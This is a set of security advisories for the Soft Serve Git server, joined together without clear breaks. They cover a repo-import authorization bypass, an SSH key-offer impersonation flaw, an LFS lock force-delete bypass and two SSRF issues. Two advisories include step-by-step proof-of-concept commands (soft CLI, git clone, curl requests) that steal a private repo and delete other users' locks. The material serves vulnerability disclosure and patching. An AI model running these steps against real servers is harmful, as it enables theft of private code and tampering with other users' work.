Summary An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATAPATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102

PoC Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:

sh soft repo create secret -p

3. Create a second low-privilege user:

sh soft user create user1 --key "$USER1AUTHORIZEDKEY"

4. Seed the private repo with secret content:

sh git clone ssh://localhost:$SSHPORT/secret secret echo 'top secret' > secret/SECRET.txt git -C secret add SECRET.txt git -C secret commit -m 'first' git -C secret push origin HEAD

5. Confirm the low-privilege user cannot access the private repo directly:

sh usoft repo info secret

Expected result:

text Error: repository not found

6. As the low-privilege user, import the server-local bare repo path into a new repo:

sh usoft repo import stolen "$DATAPATH/repos/secret.git" --lfs-endpoint http://example.com

7. Clone the attacker-controlled imported repo and read the secret:

sh ugit clone ssh://localhost:$SSHPORT/stolen stolen-clone cat stolen-clone/SECRET.txt

Expected result:

text top secret

Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import

Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material

Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.

Impact What kind of vulnerability is it? Who is impacted?

This issue impacts every Soft Serve instance.

A critical authentication bypass allows an attacker to impersonate any user (including Admin) by "offering" the victim's public key during the SSH handshake before authenticating with their own valid key. This occurs because the user identity is stored in the session context during the "offer" phase and is not cleared if that specific authentication attempt fails.

Patches Has the problem been patched? What versions should users upgrade to?

Yes, please upgrade to version 0.11.3 as soon as possible.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

You need to upgrade

LFS Lock Force-Delete Authorization Bypass

Summary

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

Severity

- CWE-863: Incorrect Authorization - CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Affected Code

File: pkg/web/gitlfs.go Function: serviceLfsLocksDelete (lines 831–945) Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock

The control flow processes req.Force at line 905 before retrieving user context at line 919:

go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation }

// Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx)

Proof of Concept

Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).

1. User A creates a lock: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <useratoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}'

2. User B deletes User A's lock using force flag: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <userbtoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}'

3. Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.

Suggested Fix

Retrieve user context and validate authorization before processing the force flag:

go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return }

if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return }

Impact

Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.

Exploitation Requirements: - Authenticated session - Write access to target repository

Consequences: - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments

Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

Soft Serve is a self-hostable Git server for the command line. Versions prior to 0.11.1 have a SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints. Version 0.11.1 fixes the vulnerability.